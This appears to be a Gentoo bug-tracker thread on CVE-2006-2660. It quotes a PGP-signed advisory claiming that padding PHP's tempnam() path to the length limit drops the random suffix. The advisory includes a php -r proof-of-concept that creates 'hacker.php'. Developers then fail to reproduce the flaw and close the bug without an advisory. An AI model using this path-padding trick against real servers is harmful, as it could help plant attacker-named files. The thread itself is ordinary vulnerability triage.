136566 2006-06-12 11:41 0000 dev-lang/php <= 5.1.4 tempnam() Bypass unique file name (CVE-2006-2660) 2006-07-25 12:34:08 0000 1 1 1 Unclassified Gentoo Security Vulnerabilities unspecified All Linux RESOLVED FIXED http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2660 B4 [noglsa] jaervosz P2 normal --- 1 stepp@atistar.net security@gentoo.org php-bugs@gentoo.org stepp@atistar.net 2006-06-12 11:41:32 0000 The CVE is under review, but it appears to be legitimate. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [tempnam() Bypass unique file name PHP 5.1.4] Author: Maksymilian Arciemowicz (cXIb8O3) Date: - -Written: 22.5.2006 - -Public: 11.6.2006 from SECURITYREASON.COM CVE-2006-2660 - --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. A nice introduction to PHP by Stig S stepp@atistar.net 2006-06-12 11:41:32 0000 The CVE is under review, but it appears to be legitimate. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [tempnam() Bypass unique file name PHP 5.1.4] Author: Maksymilian Arciemowicz (cXIb8O3) Date: - -Written: 22.5.2006 - -Public: 11.6.2006 from SECURITYREASON.COM CVE-2006-2660 - --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference Material is freely available. tempnam -- Create file with unique file name. - --- 1. tempnam() Bypass unique file name --- In lastes adv i have public an issue "Open Basedir Bypass". In function tempname() are required 2 arg`s. http://pl.php.net/manual/en/function.tempnam.php string tempnam ( string dir, string prefix ) In PHP 5.1.4 exists bug that allows you to create file with any name. - --- cxib# php -r 'echo tempnam("/www/temp/", "hacker.php")."\n";' /www/temp/hacker.phpGQMqSE - --- You have created file /www/temp/hacker.phpGQMqSE. "GQMqSE" is automatically added to filename. Problem exists, because path couldn't be longer than MAXPATHLEN. In standard MAXPATHLEN is 1024B. - -771-805--- PHP_FUNCTION(tempnam) { zval **arg1, **arg2; char *d; char *opened_path; char *p; int fd; size_t p_len; if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) == FAILURE) { WRONG_PARAM_COUNT; } convert_to_string_ex(arg1); convert_to_string_ex(arg2); if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) { RETURN_FALSE; } d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1)); php_basename(Z_STRVAL_PP(arg2), Z_STRLEN_PP(arg2), NULL, 0, &p, &p_len TSRMLS_CC); if (p_len > 64) { p[63] = '\0'; } if ((fd = php_open_temporary_fd(d, p, &opened_path TSRMLS_CC)) >= 0) { close(fd); RETVAL_STRING(opened_path, 0); } else { RETVAL_FALSE; } efree(p); efree(d); } - -771-805--- So if you create path like /www/../www/.. etc. arg1+arg2=1023 uniqueid is not given to path. Example: - --- cxib# php -r 'echo tempnam("/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../ www/../www/../www/../www/../www/../www/../www/temp/", "hacker.php")."\n";' /www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../ www/../www/../www/temp/hacker.php - --- = /www/temp/hacker.php - --- cxib# ls -la /www/temp/hacker* - -rw------- 1 cxib cxib 0 May 22 23:33 /www/temp/hacker.php - -rw------- 1 cxib cxib 0 May 22 23:26 /www/temp/hacker.phpGQMqSE - --- - --- 2. How to fix --- CVS http://cvs.php.net/viewcvs.cgi/php-src/NEWS - --- 3. Greets --- For: sp3x and p_e_a, l3x, pi3, eax, Infospec ;] - --- 4. Contact --- Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ] Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg SecurityReason.Com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (FreeBSD) iD8DBQFEjGMW3Ke13X/fTO4RAl50AKCH7H7pDtfjTLcZ02+izd3P25fkvACfS7tK tTnC41pJ3aQEAEvt580AqI0= =ZfrH -----END PGP SIGNATURE----- stepp@atistar.net 2006-06-12 12:23:25 0000 Tried the PoC on php-4.4.2-pl2, and it does not appear to work there, at least. I do not have access to 5.1.4 at the moment. stepp@atistar.net 2006-06-12 13:20:45 0000 Tried the PoC on a freshly installed 5.1.4. The cut-off point appears to be 4096, not 1024 (for me anyway). As soon as the path goes over 4095 bytes, the temp file gets changed to '/tmp/<filename><random>'. So, I'm not sure under what conditions this is supposed to work. I'll let someone else with more authority switch to INVALID, if that is the case, however. wgi@muenster.de 2006-06-12 13:24:07 0000 stepp: Isnt' that the point? Bloat the filename and get a file handle you can control? stepp@atistar.net 2006-06-12 13:29:37 0000 No, perhaps I was unclear. The filename is still not controllable. For example: tempnam("/www/..< pad to 4095 total >/www/temp/","hacker123.php"); results in /www/temp/hacker123.php3I2fgH or something similar tempnam("/www/..< pad to 4096 total >/www/temp/","hacker1234.php"); results in /tmp/hacker1234.php3I2fgH or something similar. The random string at the end is still there. chtekk@gentoo.org 2006-06-12 15:44:12 0000 Add PHP Team to CC. Best regards, CHTEKK. frilled@gentoo.org 2006-06-12 22:27:26 0000 stepp: I must be stupid here, but that's how tempnam() is supposed to work. Isn't the whole idea of the exploit to pad the directory with bloat until you reach MAXPATHLEN-strlen(wantedfile), which would give you a controllable file handle? At least that's what I see the exploit claims to do. frilled@gentoo.org 2006-06-13 00:26:04 0000 Ah, I got confused, obviously. So on your system the functions falls back like in the case when the directory doesn't exist? I'll try to confirm this here. frilled@gentoo.org 2006-06-13 02:19:51 0000 I just tried with 5.1.4 (x86) from portage and get the same result as Nigel does (the function falls back to /tmp, and the random tail is still intact), so I'd count it as INVALID. falco@gentoo.org 2006-06-13 02:26:49 0000 i had already checked this issue before, i had chosen to not fill a bug. I would close it as "invalid" too. chtekk@gentoo.org 2006-06-20 13:33:00 0000 What do we do here? Close or not? I can't reproduce it too here on all my systems, so closing it invalid seems right. Best regards, CHTEKK. frilled@gentoo.org 2006-06-20 14:22:17 0000 I could neither and so I'd also suggest invalidating this one, unless anybody steps up to say it worked for him/her. chtekk@gentoo.org 2006-07-14 09:23:36 0000 Fixed in dev-lang/php-4.4.2-r6 and dev-lang/php-5.1.4-r4. Upstream provided an explicit patch for this (so they were able to reproduce it somehow), and it was added to those releases. Stabling of those two PHP versions can be handled in bug 133524. Best regards, CHTEKK. jaervosz@gentoo.org 2006-07-24 07:09:11 0000 Seems like it is time for GLSA decision on this one as well. frilled@gentoo.org 2006-07-24 07:19:21 0000 invalid, IMHO, not reproducable on x86 at least. Other arches? Else I vote "no". koon@gentoo.org 2006-07-25 12:31:36 0000 Voting no, this bug is stupid. You don't give control to the untrusted party to the path in tempnam, doesn't work, and impact is lame. dercorny@gentoo.org 2006-07-25 12:34:08 0000 yet another "no" and closing...